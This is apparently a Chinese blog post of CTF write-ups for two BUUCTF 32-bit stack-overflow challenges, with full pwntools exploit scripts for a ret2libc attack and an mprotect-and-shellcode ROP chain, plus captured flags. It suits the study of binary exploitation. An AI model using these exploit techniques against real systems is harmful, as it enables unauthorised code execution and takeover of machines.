32位栈溢出进阶
发布日期:2021-05-07 15:25:39 浏览次数:16 分类:原创文章

本文共 3346 字,大约阅读时间需要 11 分钟。



buuctf


















[OGeek2019]babyrop




在这里插入图片描述
32位,开了栈堆执行保护
IDA查看下伪代码
没有system和/bin/sh/
在这里插入图片描述读一个随机数给buf


在这里插入图片描述



strncmp函数为字符串比较函数,字符串大小的比较是以ASCII 码表上的顺序来决定,此顺序亦为字符的值



就是读取一个随机数,然后与输入作比较。需要绕过,strlen遇到\x00会停止,于是开头为\x00,最终比较的长度v1是0,从而绕过strncmp,避免执行exit(0)


在这里插入图片描述


大致的流程就是先生成一个随机数,然后将这个随机数放入buf,再把buf传到804871F
在804871F里,buf变成a1,把a1放入s,然后往804871F的buf里输入数据,这一步要注意,我们要做的是通过传入数据,把v5覆盖掉,因为返回值是v5,而v5和buf的关系在stack里是这样的
在这里插入图片描述
所以我们传入2c-25=7个以上的字节,同时为了绕开strlen在前面要加’\x00’,所以payload1 = ’\x00’+’\xff’*7
接着v5返回到主函数,变成v2,传到80487D0里,80487D0里变成a1, 因为我们传入的a1为\xff(255),所以执行else, 这时我们开始ret2libc
p = flat([‘a’*0xe7, ‘a’*4, puts_plt, main_addr, read_got])


接着重新回到主函数,再来一次,步骤大致相同,就只是最后改为执行system


exp


Python编码声明# -- coding: utf-8 --


# -*- coding:utf-8 -*-from pwn import *from LibcSearcher import *r=remote('node3.buuoj.cn',27895)#r=process('./pwn')elf=ELF('./pwn')write_plt=elf.plt['write']read_got=elf.got['read']read_plt=elf.plt['read']main_addr=0x8048825payload1='\x00'+'\xff'*0x7r.sendline(payload1)r.recvuntil('Correct\n')#泄露read的got地址payload='a'*0xe7+'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)r.sendline(payload)read_addr=u32(r.recv(4))print('[+]read_addr: ',hex(read_addr))libc=LibcSearcher('read',read_addr)libc_base=read_addr-libc.dump('read')system_addr=libc_base+libc.dump('system')bin_sh_addr=libc_base+libc.dump('str_bin_sh')r.sendline(payload1)r.recvuntil('Correct\n')payload='a'*(0xe7+4)+p32(system_addr)*2+p32(bin_sh_addr)r.sendline(payload)r.interactive()

运行结果


在这里插入图片描述



flag{61cba5df-9047-4e28-abe7-093ca7a8f405}





get_started_3dsctf_2016


checksec一下
在这里插入图片描述
32位ida查看伪代码
在这里插入图片描述
主函数看到好大一个gets溢出?
在这里插入图片描述


在这里插入图片描述


这题的关键所在是程序里有一个mprotect函数,它的作用是能够修改内存的权限为可读可写可执行,然后我们就可以往栈上写入shellcode,执行即可获取shell


mprotect函数:


int mprotect(void *addr, size_t len, int prot);addr 内存启始地址len  修改内存的长度prot 内存的权限

首先利用gets造成溢出,让程序跳转到mprotect函数地址,去执行


payload = 'A' * 0x38 + p32(mprotect_addr)

Ctrl+s调出程序的段表,从地址080eb000开始修改为可读可写可执行
在这里插入图片描述
使用以下指令可以找到我们需要的ret指令,我们mprotect函数只要设置3个参数,这边就借用3个寄存器


 ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop

然后来设置mprotect的参数,将返回地址填上read函数,我们接下来要将shellcode读入程序段,需要继续控制程序


payload += p32(pop3_ret) payload += p32(mem_addr) payload += p32(mem_size)  payload += p32(mem_proc)   payload += p32(read_addr)

read函数原型:


ssize_t read(int fd, void *buf, size_t count);fd 设为0时就可以从输入端读取内容    设为0buf 设为我们想要执行的内存地址      设为我们已找到的内存地址0x80EB000size 适当大小就可以               只要够读入shellcode就可以,设置大点无所谓

可以看到read函数也有三个参数要设置,我们就可以继续借用上面找到的有3个寄存器的ret指令


payload += p32(pop3_ret)  payload += p32(0)     payload += p32(mem_addr)   payload += p32(0x100) #将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcodepayload += p32(mem_addr)

到这里已完成了修改内存为可读可写可执行,将程序重定向到了我们修改好后的内存地址,接下来我们只要传入shellcode即可
shellcode可以利用pwntools直接生成:shellcode=asm(shellcraft.sh())


exp


from pwn import *elf = ELF('./get_started_3dsctf_2016')ma=remote('node3.buuoj.cn', 28669)pop3_ret = 0x804951Dmem_addr = 0x80EB000mem_size = 0x1000    mem_proc = 0x7       mprotect_addr = elf.symbols['mprotect']read_addr = elf.symbols['read']payload  = 'A' * 0x38payload += p32(mprotect_addr)payload += p32(pop3_ret) payload += p32(mem_addr) payload += p32(mem_size)  payload += p32(mem_proc)   payload += p32(read_addr)payload += p32(pop3_ret)  payload += p32(0)     payload += p32(mem_addr)   payload += p32(0x100) payload += p32(mem_addr)   ma.sendline(payload)payload = asm(shellcraft.sh()) ma.sendline(payload)ma.interactive()

运行结果


在这里插入图片描述



$ cat flag
flag{72a4c30b-7857-430f-9ed3-e45cb4447c96}


上一篇:静态方法与实例方法的区别
下一篇:攻防世界新手区pwn

发表评论

最新留言

初次前来,多多关照!
[***.217.46.12]2025年04月05日 04时00分30秒